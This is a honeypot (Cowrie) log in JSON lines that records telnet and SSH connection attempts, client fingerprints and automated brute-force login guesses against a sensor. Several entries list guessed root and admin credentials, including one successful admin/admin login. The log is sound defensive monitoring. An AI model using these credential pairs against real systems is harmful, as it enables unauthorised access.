{"eventid":"cowrie.session.connect","src_ip":"181.94.225.234","src_port":36937,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f875ebecdb0","protocol":"telnet","message":"New connection: 181.94.225.234:36937 (159.203.135.109:23) [session: 0f875ebecdb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:15.017852Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":42698,"dst_ip":"10.17.0.5","dst_port":23,"session":"a56dbefcf02d","protocol":"telnet","message":"New connection: 50.6.8.71:42698 (10.17.0.5:23) [session: a56dbefcf02d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:20.093284Z"}
{"eventid":"cowrie.session.closed","duration":30.507452964782715,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:25.383095Z","src_ip":"50.6.8.71","session":"f94315534ac5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.07500672340393,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:26.190059Z","src_ip":"50.6.8.71","session":"be43f7f282ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.210.34","src_port":48366,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a37f934cbb7","protocol":"telnet","message":"New connection: 47.86.210.34:48366 (10.17.0.5:23) [session: 7a37f934cbb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:28.392000Z"}
{"eventid":"cowrie.session.closed","duration":34.276658058166504,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:31.109192Z","src_ip":"50.6.8.71","session":"b8563e77c87e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":47264,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2bf0377fd38","protocol":"telnet","message":"New connection: 50.6.8.71:47264 (10.17.0.5:23) [session: d2bf0377fd38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:33.043835Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.77.172.159","src_port":36028,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee69da3f07ee","protocol":"ssh","message":"New connection: 200.77.172.159:36028 (159.203.135.109:22) [session: ee69da3f07ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:33.652673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:33.659195Z","src_ip":"200.77.172.159","session":"ee69da3f07ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:33.731719Z","src_ip":"200.77.172.159","session":"ee69da3f07ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"novell","message":"login attempt [root/novell] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:34.051785Z","src_ip":"200.77.172.159","session":"ee69da3f07ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":47278,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3aa787141e8","protocol":"telnet","message":"New connection: 50.6.8.71:47278 (10.17.0.5:23) [session: f3aa787141e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:34.173828Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:35.127325Z","src_ip":"200.77.172.159","session":"ee69da3f07ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.91126370429993,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:38.643931Z","src_ip":"50.6.8.71","session":"b8eec1618823","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":55816,"dst_ip":"10.17.0.5","dst_port":23,"session":"11797afe14eb","protocol":"telnet","message":"New connection: 50.6.8.71:55816 (10.17.0.5:23) [session: 11797afe14eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:40.291413Z"}
{"eventid":"cowrie.session.closed","duration":35.97629928588867,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:43.020248Z","src_ip":"50.6.8.71","session":"03ef85ccc45c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":42870,"dst_ip":"10.17.0.5","dst_port":23,"session":"351b61728d8a","protocol":"telnet","message":"New connection: 50.6.8.71:42870 (10.17.0.5:23) [session: 351b61728d8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:46.485662Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":42884,"dst_ip":"10.17.0.5","dst_port":23,"session":"197bc0cbac24","protocol":"telnet","message":"New connection: 50.6.8.71:42884 (10.17.0.5:23) [session: 197bc0cbac24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:47.768286Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":42900,"dst_ip":"10.17.0.5","dst_port":23,"session":"3208a384a1ce","protocol":"telnet","message":"New connection: 50.6.8.71:42900 (10.17.0.5:23) [session: 3208a384a1ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:51.878068Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":42914,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fa9446875c8","protocol":"telnet","message":"New connection: 50.6.8.71:42914 (10.17.0.5:23) [session: 3fa9446875c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:53.648360Z"}
{"eventid":"cowrie.session.closed","duration":33.73535704612732,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:53.828521Z","src_ip":"50.6.8.71","session":"a56dbefcf02d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":57928,"dst_ip":"159.203.135.109","dst_port":22,"session":"dac1ae512892","protocol":"ssh","message":"New connection: 89.223.69.22:57928 (159.203.135.109:22) [session: dac1ae512892]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:59.881226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:59.886101Z","src_ip":"89.223.69.22","session":"dac1ae512892","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:32:59.999450Z","src_ip":"89.223.69.22","session":"dac1ae512892","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:00.348887Z","src_ip":"89.223.69.22","session":"dac1ae512892","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:01.465992Z","src_ip":"89.223.69.22","session":"dac1ae512892","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":48122,"dst_ip":"10.17.0.5","dst_port":23,"session":"e53b751a1461","protocol":"telnet","message":"New connection: 50.6.8.71:48122 (10.17.0.5:23) [session: e53b751a1461]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:03.613511Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":48114,"dst_ip":"10.17.0.5","dst_port":23,"session":"620bb187efd1","protocol":"telnet","message":"New connection: 50.6.8.71:48114 (10.17.0.5:23) [session: 620bb187efd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:04.126672Z"}
{"eventid":"cowrie.session.connect","src_ip":"4.210.91.174","src_port":1024,"dst_ip":"159.203.135.109","dst_port":22,"session":"d591e7ca9f3f","protocol":"ssh","message":"New connection: 4.210.91.174:1024 (159.203.135.109:22) [session: d591e7ca9f3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:08.710806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:08.715141Z","src_ip":"4.210.91.174","session":"d591e7ca9f3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:08.782800Z","src_ip":"4.210.91.174","session":"d591e7ca9f3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36960,"dst_ip":"10.17.0.5","dst_port":23,"session":"367daa346bb6","protocol":"telnet","message":"New connection: 50.6.8.71:36960 (10.17.0.5:23) [session: 367daa346bb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:08.916734Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123123","message":"login attempt [root/root@123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:09.083314Z","src_ip":"4.210.91.174","session":"d591e7ca9f3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:10.153118Z","src_ip":"4.210.91.174","session":"d591e7ca9f3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.580718994140625,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:10.624435Z","src_ip":"50.6.8.71","session":"d2bf0377fd38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.264073610305786,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:11.555392Z","src_ip":"50.6.8.71","session":"11797afe14eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.29272174835205,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:14.466452Z","src_ip":"50.6.8.71","session":"f3aa787141e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36972,"dst_ip":"10.17.0.5","dst_port":23,"session":"698dd3ff14be","protocol":"telnet","message":"New connection: 50.6.8.71:36972 (10.17.0.5:23) [session: 698dd3ff14be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:18.719985Z"}
{"eventid":"cowrie.session.closed","duration":32.34129881858826,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:18.826830Z","src_ip":"50.6.8.71","session":"351b61728d8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.345237493515015,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:20.113351Z","src_ip":"50.6.8.71","session":"197bc0cbac24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":33954,"dst_ip":"10.17.0.5","dst_port":23,"session":"61f6d00e0e70","protocol":"telnet","message":"New connection: 50.6.8.71:33954 (10.17.0.5:23) [session: 61f6d00e0e70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:27.652858Z"}
{"eventid":"cowrie.session.closed","duration":35.99120759963989,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:27.869185Z","src_ip":"50.6.8.71","session":"3208a384a1ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":45960,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1352c616e93","protocol":"ssh","message":"New connection: 103.27.238.114:45960 (10.17.0.5:22) [session: a1352c616e93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:28.151747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:28.156575Z","src_ip":"103.27.238.114","session":"a1352c616e93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:28.411100Z","src_ip":"103.27.238.114","session":"a1352c616e93","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:29.061593Z","src_ip":"47.86.210.34","session":"7a37f934cbb7","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:29.109584Z","src_ip":"47.86.210.34","session":"7a37f934cbb7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:29.175623Z","src_ip":"103.27.238.114","session":"a1352c616e93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:30.431871Z","src_ip":"103.27.238.114","session":"a1352c616e93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":46982,"dst_ip":"159.203.135.109","dst_port":22,"session":"6647f5488bc1","protocol":"ssh","message":"New connection: 109.172.54.111:46982 (159.203.135.109:22) [session: 6647f5488bc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:35.802768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:35.822461Z","src_ip":"109.172.54.111","session":"6647f5488bc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:35.924574Z","src_ip":"109.172.54.111","session":"6647f5488bc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:37.361727Z","src_ip":"109.172.54.111","session":"6647f5488bc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:38.525850Z","src_ip":"109.172.54.111","session":"6647f5488bc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.37165141105652,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:39.985047Z","src_ip":"50.6.8.71","session":"e53b751a1461","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.546215534210205,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:41.194457Z","src_ip":"50.6.8.71","session":"3fa9446875c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.96974015235901,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:42.096250Z","src_ip":"50.6.8.71","session":"620bb187efd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":43040,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbf1a32c02c6","protocol":"telnet","message":"New connection: 50.6.8.71:43040 (10.17.0.5:23) [session: cbf1a32c02c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:44.339607Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.28.189","src_port":44410,"dst_ip":"10.17.0.5","dst_port":23,"session":"689f4cc95998","protocol":"telnet","message":"New connection: 23.94.28.189:44410 (10.17.0.5:23) [session: 689f4cc95998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:44.504035Z"}
